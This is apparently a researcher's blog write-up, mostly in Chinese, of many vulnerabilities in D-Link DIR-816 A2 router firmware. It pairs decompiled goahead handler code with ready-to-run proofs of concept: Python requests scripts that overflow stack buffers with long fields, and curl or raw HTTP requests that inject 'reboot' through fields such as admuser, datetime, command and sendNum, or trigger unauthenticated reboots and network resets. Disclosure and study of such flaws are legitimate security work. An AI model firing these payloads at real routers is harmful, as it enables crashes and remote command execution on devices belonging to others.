D-Link Dir-816 A2路由器漏洞分析

笔者在研究D-Link Dir-816 A2时发现了许多漏洞(挖到的漏洞均已提交cve,除了已经披露的),这里笔者仅写poc,exp可能会额外的写

D-Link Dir-816 A2路由器漏洞分析

固件下载及提取文件

固件下载地址:https://tsd.dlink.com.tw/ddgo

筛选到Firmware: DIR-816_A2_FW_v1.10 (for DCN)即可。将下载的img到这个网址去解包就行,然后解包所有文件下载,之后tar解压出来即可看到文件系统。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
10:57:35 z1r0@z1r0deMacBook-Pro.local squashfs-root l
total 0
drwxr-xr-x@ 17 z1r0 staff 544B 3 7 2017 .
drwxr-xr-x 9 z1r0 staff 288B 6 16 16:43 ..
drwxr-xr-x@ 63 z1r0 staff 2.0K 3 7 2017 bin
drwxr-xr-x@ 3 z1r0 staff 96B 3 7 2017 dev
drwxr-xr-x@ 3 z1r0 staff 96B 3 7 2017 etc
drwxr-xr-x@ 15 z1r0 staff 480B 3 7 2017 etc_ro
drwxr-xr-x@ 3 z1r0 staff 96B 3 2 2017 home
lrwxr-xr-x@ 1 z1r0 staff 11B 3 7 2017 init -> bin/busybox
drwxr-xr-x@ 44 z1r0 staff 1.4K 3 7 2017 lib
drwxr-xr-x@ 2 z1r0 staff 64B 3 2 2017 media
drwxr-xr-x@ 2 z1r0 staff 64B 3 2 2017 mnt
drwxr-xr-x@ 2 z1r0 staff 64B 3 2 2017 proc
drwxr-xr-x@ 71 z1r0 staff 2.2K 3 7 2017 sbin
drwxr-xr-x@ 2 z1r0 staff 64B 3 2 2017 sys
drwxr-xr-x@ 2 z1r0 staff 64B 3 2 2017 tmp
drwxr-xr-x@ 5 z1r0 staff 160B 3 2 2017 usr
drwxr-xr-x@ 2 z1r0 staff 64B 3 2 2017 var

goahead main程序分析

使用nmap扫描可以发现在80端口上运行着goahead服务,goahead 自身实现了一个 web 服务器所需提供的基本功能,用户可以根据自身接口开发出各种各样的功能。所以我们分析的重点不是goahead 本身的代码,而是用户自定义的那些代码。

1
2
10:57:36 z1r0@z1r0deMacBook-Pro.local squashfs-root find . -name goahead
./bin/goahead

find搜索之后发现在bin目录下,checksec之后发现是mips-32-little的程序,并且保护全关

1
2
3
4
5
6
Arch:     mips-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

将它放入ida中进行逆向分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // $v0
int gohead_pid_status; // $s0
int gohead_pid; // $v0
int v6; // $a0
int v7; // $v0
int v8; // $s0
int wanconnectionmode_y_n; // $s1
int start_pid; // $s0
_BYTE *telnetenabled; // $v0
const char *language; // $v0
int lan_ipaddr; // $v0
const char *v14; // $s2
const char *login; // $s0
_BYTE *password; // $s1
int ip_addr_binary; // $s1
int v18; // $a1
int v19; // $a2
int ip_addr; // $s1
unsigned int ip_addr_len; // $v0
int v22; // $a1
int v23; // $a2
int v24; // $a3
int v25; // $a1
int v26; // $a2
int v27; // $a3
int v29; // $v0
int v30; // $a1
int v31; // $s1
int ppp_session_id; // $v0
int v33; // $s0
int v34; // $v0
int v35; // [sp+20h] [-140h] BYREF
int v36; // [sp+24h] [-13Ch]
char etc_pro_web[128]; // [sp+28h] [-138h] BYREF
char ip[128]; // [sp+A8h] [-B8h] BYREF
int v39[14]; // [sp+128h] [-38h] BYREF

bopen(0, 0x80000, 1);
signal(13, 1);
v3 = nvram_bufget(0);
if ( !strcmp(v3, &word_4784D8) )
portalmange_enable = 1;
gohead_pid_status = fopen(off_480E50, "w+"); // /var/run/goahead.pid
if ( !gohead_pid_status )
{
error("goahead.c", 371, 2, "goahead.c: cannot open pid file");
return -1;
}
gohead_pid = getpid();
fprintf(gohead_pid_status, "%d", gohead_pid); // /var/run/goahead.pid = v5=getpid();
fclose(gohead_pid_status);
signal(24, sub_45BCE0); // 超过CPU时间资源限制
signal(17, sub_45BED8); // 子进程结束时, 父进程会收到这个信号。
signal(16, sub_45BA3C); // discard signal 信号丢失
signal(31, WPSSingleTriggerHandler); // 非法的系统调用。
signal(20, RaixWPSSingleTriggerHandler); // (通常是Ctrl-Z)发出这个信号
v6 = nvram_bufget(0);
if ( v6 )
{
v7 = strrchr(v6, 95);
if ( v7 )
{
if ( v7 != -1 )
{
v35 = -60 * atoi(v7 + 1);
v36 = 0;
if ( settimeofday(0, &v35) < 0 )
printf("===[%s %s %d]set timezone failed!!!\n", "goahead.c", "initSystem", 1042);
}
}
}
v8 = nvram_get(0, "OperationMode");
wanconnectionmode_y_n = nvram_get(0, "wanConnectionMode");
if ( !strcmp(v8, &word_4784D8) )
{
if ( strcmp(wanconnectionmode_y_n, "DHCP") )
{
if ( !strcmp(wanconnectionmode_y_n, "PPPOE") )
{
v31 = nvram_bufget(0);
if ( v31 )
{
ppp_session_id = fopen("/tmp/ppp_session_id", "w");
v33 = ppp_session_id;
if ( ppp_session_id )
{
fputs(v31, ppp_session_id);
fclose(v33);
}
}
}
}
}
if ( setDefault() < 0 || initInternet() < 0 )
return -1;
start_pid = fopen("/var/run/start.pid", "w+");
if ( !start_pid )
printf("open /var/run/start.pid error!");
fwrite("ap is started", 1, 13, start_pid);
fclose(start_pid);
telnetenabled = nvram_bufget(0);
if ( telnetenabled && *telnetenabled && !strncmp(telnetenabled, "0", 2) )
system("killall -9 telnetd");
language = nvram_bufget(0);
load_dictionary(language, dictionary);
lan_ipaddr = nvram_bufget(0);
memset(v39, 0, 52);
v14 = lan_ipaddr;
socketOpen();
login = nvram_bufget(0);
password = nvram_bufget(0);
umOpen();
umAddGroup("adm");
if ( login && *login && password && *password )
{
umAddUser(login, password, "adm"); // 添加用户,账号密码不为空
umAddAccessLimit("/", 3, 0, "adm");
}
else
{
error("goahead.c", 1167, 2, "gohead.c: Warning: empty administrator account or password");
}
if ( !v14 )
{
error("goahead.c", 1190, 2, "initWebs: cannot find lan_ip in NVRAM");
return -1;
}
ip_addr_binary = inet_addr(v14, 1190);
if ( ip_addr_binary == -1 )
{
error("goahead.c", 1195, 2, "initWebs: failed to convert %s to binary ip data", v14);
return -1;
}
strcpy(etc_pro_web, off_480E58); // /etc_ro/web
websSetDefaultDir(etc_pro_web, v18, v19); // 设置网页根目录
ip_addr = inet_ntoa(ip_addr_binary);
ip_addr_len = strlen(ip_addr) + 1;
if ( ip_addr_len >= 0x80 )
ip_addr_len = 0x80;
ascToUni(ip, ip_addr, ip_addr_len);
websSetIpaddr(ip, v22, v23, v24);
websSetHost(ip, v25, v26, v27);
websSetDefaultPage("default.asp"); // 设置默认访问页
websSetPassword(off_480E54); // 设置默认密码为空
websOpenServer(dword_480E44, dword_480E48); // Web服务器端口和重试次数
if ( !::login )
{
v34 = rand();
sprintf(v39, "echo -n %lu > /etc/RAMConfig/tokenid", v34);
system(v39);
printf("[%s:%d]:tokenid=%s\n", "initWebs", 1237, v39);
}
websUrlHandlerDefine("", 0, 0, websSecurityHandler);// 定义安全性处理程序,表单处理程序,默认网页处理程序
websUrlHandlerDefine("/goform", 0, 0, websFormHandler);
websUrlHandlerDefine("/cgi-bin", 0, 0, websCgiHandler);
websUrlHandlerDefine("/sharefile", 0, 0, websShareFileHandler);
websUrlHandlerDefine("", 0, 0, websDefaultHandler);
formDefineUtilities();
formDefineInternet();
form_define_ip_control();
formDefineQoS();
formDefineWireless();
formDefineInic();
formDefineFirewall();
formDefineManagement();
formDefineLogout();
formDefineWizard();
formDefineVPN();
formDefineHttpSharefile();
websUrlHandlerDefine("/", 0, 0, sub_45D4A0);
while ( !dword_483AD8 )
{
v29 = socketReady(-1);
v30 = 1000;
if ( v29 || socketSelect(-1, 1000) )
socketProcess(-1, v30);
websCgiCleanup();
emfSchedProcess();
}
release_dictionary(dictionary);
umClose();
websCloseServer();
socketClose();
bclose();
return 0;
}

初步分析之后155行之前都是初始化的一个过程,goahead启动是否成功,设置网页根目录设置网页默认页密码为空等一系列初始化过程。

在主页登陆抓一个包可以看到是POST /goform/formLogin请求,所以我们在研究的时候需要着重研究goform这些用户自定义函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /goform/formLogin HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/dir_login.asp
Cookie: curShow=
Upgrade-Insecure-Requests: 1

username=QWRtaW4%3D&password=&Language=Chinese&submit.htm%3Flogin.htm=Send&tokenid=1714636915

使用websUrlHandlerDefine来监听url请求,定义了安全性处理程序,表单处理程序,默认网页处理程序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
websUrlHandlerDefine("", 0, 0, websSecurityHandler);// 定义安全性处理程序,表单处理程序,默认网页处理程序
websUrlHandlerDefine("/goform", 0, 0, websFormHandler);
websUrlHandlerDefine("/cgi-bin", 0, 0, websCgiHandler);
websUrlHandlerDefine("/sharefile", 0, 0, websShareFileHandler);
websUrlHandlerDefine("", 0, 0, websDefaultHandler);
formDefineUtilities();
formDefineInternet();
form_define_ip_control();
formDefineQoS();
formDefineWireless();
formDefineInic();
formDefineFirewall();
formDefineManagement();
formDefineLogout();
formDefineWizard();
formDefineVPN();
formDefineHttpSharefile();
websUrlHandlerDefine("/", 0, 0, sub_45D4A0);

当监听到url中请求了/goform时,例如:http://192.168.0.1/goform/setSysAdm则使用websFormHandler先进行理,再到setSysAdm用户自定义的的函数中进行处理。websFormHandler的函数处理如下

1
2
int websFormHandler(webs_t wp, char_t *urlPrefix, char_t *webDir, int arg, 
char_t *url, char_t *path, char_t *query)

其中wp里面包含了用户请求的相关信息,如请求头, 请求数据等。开发者通过 wp 这个参数就能获取到用户请求的信息。

第160行开始就是自定义函数了,我们重点看websFormDefine这一类的函数就可以了

formDefineInternet

formDefineInternet这里找到了很多的漏洞点。

addassignment

在这个函数中发现了栈溢出漏洞,并验证成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
int __fastcall addassignment(int a1)
{
_BYTE *s_ip; // $s5
_BYTE *s_mac; // $s1
unsigned int v4; // $s0
BOOL s_mac_len_flags; // $v0
_BYTE *v6; // $v1
BOOL v7; // $v0
int v9; // $v0
char v10[1024]; // [sp+18h] [-400h] BYREF

memset(v10, 0, sizeof(v10));
s_ip = websGetVar(a1, "s_ip", "");
s_mac = websGetVar(a1, "s_mac", "");
v4 = 0;
while ( 1 )
{
s_mac_len_flags = v4 < strlen(s_mac); // s_mac长度是否大于0
v6 = &s_mac[v4++];
if ( !s_mac_len_flags )
break;
while ( *v6 == 45 )
{
*v6 = 58;
v7 = v4 < strlen(s_mac);
v6 = &s_mac[v4++];
if ( !v7 )
goto LABEL_5;
}
}
LABEL_5:
if ( !*s_ip || !*s_mac )
return websRedirect(a1, "lan.asp");
v9 = nvram_bufget(0);
strcpy(v10, v9);
strcat(v10, s_mac); // stack_overflow
strcat(v10, " ");
strcat(v10, s_ip); // stack_overflow
strcat(v10, "|");
nvram_bufset(0, "DhcpStaticRulesStr", v10);
nvram_commit(0);
doSystem("lan.sh");
return websRedirect(a1, "lan.asp");
}

可以看到用户可以传送s_mac和s_ip,并在下面使用strcat进行拼接放入v10,值得一提的是并没有进行大小限制,所以这里存在一个栈溢出漏洞。

1
curl http://192.168.0.1/dir_login.asp | grep tokenid

先拿到tokenid

1
2
3
4
5
15:59:06 z1r0@z1r0deMacBook-Pro.local iot curl http://192.168.0.1/dir_login.asp | grep tokenid
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 4341 0 4341 0 0 174k 0 --:--:-- --:--:-- --:--:-- 235k
<input type="hidden" name="tokenid" value="1804289383" >

接下来我们使用如下poc进行验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

tokenid = '1804289383'

url = 'http://192.168.0.1/goform/addassignment'

data = {
'tokenid' : tokenid,
's_ip' : 'a' * 0x400,
's_mac' : 'a' * 0x400
}
response = requests.post(url, data=data)
response.encoding="utf-8"
info = response.text
li(url)
print(info)

成功利用,最后可以写exp来达到稳定获取root shell。这里笔者不演示如何getshell,只对路由器进行漏洞分析,可能下一个文章会写如何获取shell。

editassignment

此函数也存在和上面一样的漏洞

1
2
3
4
strcat(v17, s_mac);
strcat(v17, " ");
strcat(v17, s_ip);
strcat(v17, "|");

在第71行进行拼接的时候发现没有进行size验证,导致栈溢出。以下poc验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

tokenid = '1804289383'

url = 'http://192.168.0.1/goform/editassignment'

data = {
'tokenid' : tokenid,
's_ip' : 'a' * 0x400,
's_mac' : 'a' * 0x400
}
response = requests.post(url, data=data)
response.encoding="utf-8"
info = response.text
li(url)
print(info)

form2Wan.cgi

When wantype is 3, l2tp_usrname will be decrypted by base64, and the result will be stored in v94, which does not check the size of l2tp_usrname, resulting in stack overflow

如下poc即可crash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import base64

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

tokenid = '1804289383'

url = 'http://192.168.0.1/goform/form2Wan.cgi'

payload = base64.b64encode(b'a' * 10000)

data = {
'tokenid' : tokenid,
'wantype' : '3',
'l2tp_usrname' : payload,
'l2tp_psword' : payload
}
response = requests.post(url, data=data)
response.encoding="utf-8"
info = response.text
li(url)
print(info)

setMac

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __fastcall setMAC(int a1)
{
int macCloneEnbl; // $s0
char *macCloneMac; // $s2
int v4; // $v0
char *v5; // $a2
char v7[24]; // [sp+18h] [-18h] BYREF

macCloneEnbl = websGetVar(a1, "macCloneEnbl", "0");
macCloneMac = websGetVar(a1, "macCloneMac", "");
nvram_bufset(0, "macCloneEnabled", macCloneEnbl);
nvram_bufget(0);
v4 = strncmp(macCloneEnbl, &word_4784D8, 2);
v5 = macCloneMac;
if ( v4 )
{
if ( getIfMac("eth2.2", v7) == -1 )
strcpy(v7, macCloneMac);
v5 = v7;
}
nvram_bufset(0, "macCloneMac", v5);
nvram_commit(0);
initInternet();
return websRedirect(a1, "mac_clone.asp");
}

对这个功能请求的时候无论如何都会执行到initInternet这个函数,也就造成了无认证即可对路由器进行网络初始化。如下poc可以进行验证

1
curl -i -X POST http://192.168.0.1/goform/setMAC -d tokenid=xxxx

addRouting

这个函数的漏洞还是很明显的。

hostnet填入net进入stract(v14, dest)这里,会将dest拼接到v14后面,这里并没有对大小进行验证,所以存在栈溢出漏洞。

构造以下poc即可使得路由器crash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

tokenid = 'xxx'

url = 'http://192.168.0.1/goform/addRouting'

data = {
'tokenid' : tokenid,
'dest' : 'a' * 10000,
'hostnet' : 'net',
'netmask' : '255.255.255.0',
'gateway' : '192.168.0.1',
'interface' : 'LAN',
'custom_interface' : 'br0',
'comment' : 'a' * 10000

}
response = requests.post(url, data=data)
response.encoding="utf-8"
info = response.text
li(url)
print(info)

setNetworkLan

通过strncpy函数将lanip放入v4,接着使用strcpy将v4拷贝到v6和v5中,其中并没有限制大小,存在栈溢出漏洞。

构造以下poc即可使得路由器crash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

tokenid = 'xxx'

url = 'http://192.168.0.1/goform/setNetworkLan'

data = {
'tokenid' : tokenid,
'lanIp' : 'a' * 10000

}
response = requests.post(url, data=data)
response.encoding="utf-8"
info = response.text
li(url)

form2Dhcpip.cgi

将lan_assignment设置为add,会有strcat将nvmacaddr和ipaddr拼接到v21后,这里并没有大小验证,存在栈溢出漏洞。

构造如下poc即可crash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

tokenid = '1957747793'

url = 'http://192.168.0.1/goform/form2Dhcpip.cgi'

data = {
'tokenid' : tokenid,
'lan_assignment' : 'add',
'nvmacaddr' : 'a' * 10000,
'ipaddr' : 'a' * 10000


}
response = requests.post(url, data=data)
response.encoding="utf-8"
info = response.text
li(url)

formDefineUtilities

form2Reboot.cgi

The reboot value is 1 to execute the reboot statement

如下poc即可reboot

1
curl -i -X POST http://192.168.0.1/goform/form2Reboot.cgi -d tokenid=xxxxx -d 'reboot=1'

doReboot

No authentication is required, and reboot is executed when the function returns at the end

如下poc即可reboot

1
curl -i -X POST http://192.168.0.1/goform/doReboot -d tokenid=xxxx

form_define_ip_control

form2IPQoSTcAdd

通过proto参数传送的内容最后会通过sprintf给到v11,其中并没有大小检查,存在栈溢出漏洞。

如下poc即可crash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

tokenid = '1804289383'

url = 'http://192.168.0.1/goform/form2IPQoSTcAdd'

data = {
'tokenid' : tokenid,
'proto' : 'a' * 10000
}
response = requests.post(url, data=data)
response.encoding="utf-8"
info = response.text
li(url)
print(info)

formDefineFirewall

websHostFilter

通过addhostfilter参数得到的内容赋值给了v4,并利用strcat函数将v4的值拼接到v7后面,并没有检查大小,导致栈溢出。

如下poc即可crash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

tokenid = '1714636915'

url = 'http://192.168.0.1/goform/websHostFilter'

data = {
'tokenid' : tokenid,
'addHostFilter' : 'a' * 100000
}
response = requests.post(url, data=data)
response.encoding="utf-8"
info = response.text
li(url)
print(info)

websURLFilter

和上一个一样,poc如下即可crash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

tokenid = '1804289383'

url = 'http://192.168.0.1/goform/websURLFilter'

data = {
'tokenid' : tokenid,
'addURLFilter' : 'a' * 100000
}
response = requests.post(url, data=data)
response.encoding="utf-8"
info = response.text
li(url)
print(info)

websURLFilterAddDel

urladd会赋值给v9,最利用strcat函数拼接到v10后面,这里并没有对大小进行检查,存在栈溢出漏洞。

如下poc即可crash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

tokenid = '1681692777'

url = 'http://192.168.0.1/goform/websURLFilterAddDel'

data = {
'tokenid' : tokenid,
'urlAdd' : 'a' * 10000
}
response = requests.post(url, data=data)
response.encoding="utf-8"
info = response.text
li(url)
print(info)

formDefineManagement

form2userconfig.cgi

username and newpass are brought into the dosystem function after base64 decryption, so there is a command injection vulnerability

poc如下即可达成reboot

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /goform/form2userconfig.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 175
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/d_userconfig.asp
Cookie: curShow=
Upgrade-Insecure-Requests: 1

username=JztyZWJvb3Q7Jw==&oldpass=&newpass=bm9uZ25vbmc%3D&confpass=bm9uZ25vbmc%3D&modify=%E4%BF%AE%E6%94%B9&select=s0&hiddenpass=&submit.htm%3Fuserconfig.htm=Send&tokenid=1804289383

setSysAdm

admuser会直接传入到dosystem这里,导致命令注入漏洞的发生。

如下poc即可reboot

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

tokenid = '1804289383'

url = 'http://192.168.0.1/goform/setSysAdm'

data = {
'tokenid' : tokenid,
'admuser' : ';reboot;',
'admpass' : ''
}
response = requests.post(url, data=data)
response.encoding="utf-8"
info = response.text
li(url)
print(info)

form2systime.cgi

the Command injection vulnerability only needs to be met by datetime -:

如下poc即可reboot

1
curl -i -X POST http://192.168.0.1/goform/form2systime.cgi -d tokenid=xxxxx -d 'datetime=`reboot`-:'

NTPSyncWithHost

Directly pass in the parameters to execute the command

如下poc即可reboot

1
curl -i -X POST http://192.168.0.1/goform/NTPSyncWithHost -d tokenid=xxxxx -d '`reboot`'

DDNS

The password is assigned to v7, and the v7 base64 will be stored in v11 after decryption, but the size of the password is not checked here, resulting in stack overflow

如下poc即可crash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import base64

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

tokenid = '1804289383'

url = 'http://192.168.0.1/goform/DDNS'

payload = base64.b64encode(b'a' * 1000)

data = {
'tokenid' : tokenid,
'enable' : '1',
'hostname' : 'DDNS',
'username' : '123',
'password' : payload
}
response = requests.post(url, data=data)
response.encoding="utf-8"
info = response.text
li(url)
print(info)

formLogin

After the username and password are decrypted by base64, they will be stored in the stack of the program without checking the size, resulting in a stack overflow vulnerability.

如下poc即可crash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import base64

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

tokenid = '1804289383'

url = 'http://192.168.0.1/goform/formLogin'

payload = base64.b64encode(b'a' * 1000)

data = {
'tokenid' : tokenid,
'username' : payload,
'password' : payload
}
response = requests.post(url, data=data)
response.encoding="utf-8"
info = response.text
li(url)
print(info)

SystemCommand

After the user passes in the command parameter, it will be spliced into byte_4836B0 by snprintf, and finally doSystem(&byte_4836B0); will be executed, resulting in a command injection vulnerability

如下poc即可reboot

1
curl -i -X POST http://192.168.0.1/goform/SystemCommand -d tokenid=xxxx -d 'command=`reboot`'

LoadDefaultSettings

system(“reboot”); will be executed anyway

如下poc即可reboot

1
curl -i -X POST http://192.168.0.1/goform/LoadDefaultSettings -d tokenid=xxxx

Diagnosis

After the if condition is met, setnum will be spliced into v10 by snprintf, and finally system will be executed, resulting in a command injection vulnerability

如下poc即可reboot

1
curl -i -X POST http://192.168.0.1/goform/Diagnosis -d tokenid=xxxx -d 'pingAddr=192.168.0.1' -d 'sendNum=`reboot`'

wizard_end

Initialize the network without authentication

如下poc即可

1
curl -i -X POST http://192.168.0.1/goform/wizard_end -d tokenid=xxxx

至此,该型号路由器二进制层面的漏洞笔者已经分析完成

小结

拿下9个cve,学习到了mips漏洞利用,路由器漏洞挖掘,uart串口调试